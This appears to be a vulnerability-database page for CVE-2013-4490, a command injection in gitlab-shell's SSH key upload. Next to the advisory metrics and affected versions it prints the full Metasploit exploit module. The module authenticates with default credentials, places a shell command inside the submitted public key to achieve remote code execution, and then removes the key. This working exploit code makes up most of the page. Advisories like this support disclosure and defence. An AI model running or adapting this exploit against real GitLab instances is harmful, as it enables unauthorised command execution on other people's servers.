CVE-2013-4490 : Detail

CVE-2013-4490

15.26%V3
Network
2014-05-13
13h00 +00:00
2014-05-13
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The SSH key upload feature (lib/gitlab_keys.rb) in gitlab-shell before 1.7.3, as used in GitLab 5.0 before 5.4.1 and 6.x before 6.2.3, allows remote authenticated users to execute arbitrary commands via shell metacharacters in the public key.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 34362

Publication date : 2014-08-18 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'net/ssh' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Gitlab-shell Code Execution', 'Description' => %q( This module takes advantage of the addition of authorized ssh keys in the gitlab-shell functionality of Gitlab. Versions of gitlab-shell prior to 1.7.4 used the ssh key provided directly in a system call resulting in a command injection vulnerability. As this relies on adding an ssh key to an account valid credentials are required to exploit this vulnerability. ), 'Author' => [ 'Brandon Knight' ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://about.gitlab.com/2013/11/04/gitlab-ce-6-2-and-5-4-security-release/'], ['CVE', '2013-4490'] ], 'Platform' => 'linux', 'Targets' => [ [ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 } ], [ 'Linux (x64)', { 'Platform' => 'linux', 'Arch' => ARCH_X86_64 } ], [ 'Unix (CMD)', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'RequiredCmd' => 'openssl perl python' }, 'BadChars' => "\x22" } } ], [ 'Python', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Payload' => { 'BadChars' => "\x22" } } ] ], 'CmdStagerFlavor' => %w( bourne printf ), 'DisclosureDate' => 'Nov 4 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [true, 'The username to authenticate as', 'root']), OptString.new('PASSWORD', [true, 'The password for the specified username', '5iveL!fe']), OptString.new('TARGETURI', [true, 'The path to Gitlab', '/']) ], self.class) end def exploit login case target['Platform'] when 'unix' execute_command(payload.encoded) when 'python' execute_command("python -c \\\"#{payload.encoded}\\\"") when 'linux' execute_cmdstager(temp: './', linemax: 2800) end end def execute_command(cmd, _opts = {}) key_id = add_key(cmd) delete_key(key_id) end def check res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'users', 'sign_in')) if res && res.body && res.body.include?('GitLab') return Exploit::CheckCode::Detected else return Exploit::CheckCode::Unknown end end def login username = datastore['USERNAME'] password = datastore['PASSWORD'] signin_page = normalize_uri(target_uri.path.to_s, 'users', 'sign_in') # Get a valid session cookie and authenticity_token for the next step res = send_request_cgi( 'method' => 'GET', 'cookie' => 'request_method=GET', 'uri' => signin_page ) fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during login") unless res local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0] auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0] if res.body.include? 'user[email]' @gitlab_version = 5 user_field = 'user[email]' else @gitlab_version = 7 user_field = 'user[login]' end # Perform the actual login and get the newly assigned session cookie res = send_request_cgi( 'method' => 'POST', 'cookie' => local_session_cookie, 'uri' => signin_page, 'vars_post' => { 'utf8' => "\xE2\x9C\x93", 'authenticity_token' => auth_token, "#{user_field}" => username, 'user[password]' => password, 'user[remember_me]' => 0 } ) fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res && res.code == 302 @session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0] fail_with(Failure::NoAccess, "#{peer} - Unable to get session cookie") if @session_cookie.nil? end def add_key(cmd) if @gitlab_version == 5 @key_base = normalize_uri(target_uri.path.to_s, 'keys') else @key_base = normalize_uri(target_uri.path.to_s, 'profile', 'keys') end # Perform an initial request to get an authenticity_token so the actual # key addition can be done successfully. res = send_request_cgi( 'method' => 'GET', 'cookie' => "request_method=GET; #{@session_cookie}", 'uri' => normalize_uri(@key_base, 'new') ) fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0] title = rand_text_alphanumeric(16) key_info = rand_text_alphanumeric(6) # Generate a random ssh key key = OpenSSL::PKey::RSA.new 2048 type = key.ssh_type data = [key.to_blob].pack('m0') openssh_format = "#{type} #{data}" # Place the payload in to the key information to perform the command injection key = "#{openssh_format} #{key_info}';#{cmd}; echo '" res = send_request_cgi( 'method' => 'POST', 'cookie' => "request_method=GET; #{@session_cookie}", 'uri' => @key_base, 'vars_post' => { 'utf8' => "\xE2\x9C\x93", 'authenticity_token' => auth_token, 'key[title]' => title, 'key[key]' => key } ) fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res # Get the newly added key id so it can be used for cleanup key_id = res.headers['Location'].split('/')[-1] key_id end def delete_key(key_id) res = send_request_cgi( 'method' => 'GET', 'cookie' => "request_method=GET; #{@session_cookie}", 'uri' => @key_base ) fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res auth_token = res.body.scan(/<meta content="(.*?)" name="csrf-token"/).flatten[0] # Remove the key which was added to clean up after ourselves res = send_request_cgi( 'method' => 'POST', 'cookie' => "#{@session_cookie}", 'uri' => normalize_uri("#{@key_base}", "#{key_id}"), 'vars_post' => { '_method' => 'delete', 'authenticity_token' => auth_token } ) fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res end end

Products Mentioned

Configuraton 0

Gitlab>>Gitlab >> Version 5.0.0

Gitlab>>Gitlab >> Version 5.0.1

Gitlab>>Gitlab >> Version 5.1.0

Gitlab>>Gitlab >> Version 5.2.0

Gitlab>>Gitlab >> Version 5.3.0

Gitlab>>Gitlab >> Version 5.4.0

Gitlab>>Gitlab >> Version 6.0.0

Gitlab>>Gitlab >> Version 6.1.0

Gitlab>>Gitlab >> Version 6.2.0

Gitlab>>Gitlab >> Version 6.2.1

Gitlab>>Gitlab >> Version 6.2.2

Gitlab>>Gitlab-shell >> Version To (including) 1.7.2

Gitlab>>Gitlab-shell >> Version 1.0.4

Gitlab>>Gitlab-shell >> Version 1.1.0

Gitlab>>Gitlab-shell >> Version 1.2.0

Gitlab>>Gitlab-shell >> Version 1.3.0

Gitlab>>Gitlab-shell >> Version 1.4.0

Gitlab>>Gitlab-shell >> Version 1.5.0

Gitlab>>Gitlab-shell >> Version 1.6.0

Gitlab>>Gitlab-shell >> Version 1.7.0

Gitlab>>Gitlab-shell >> Version 1.7.1

References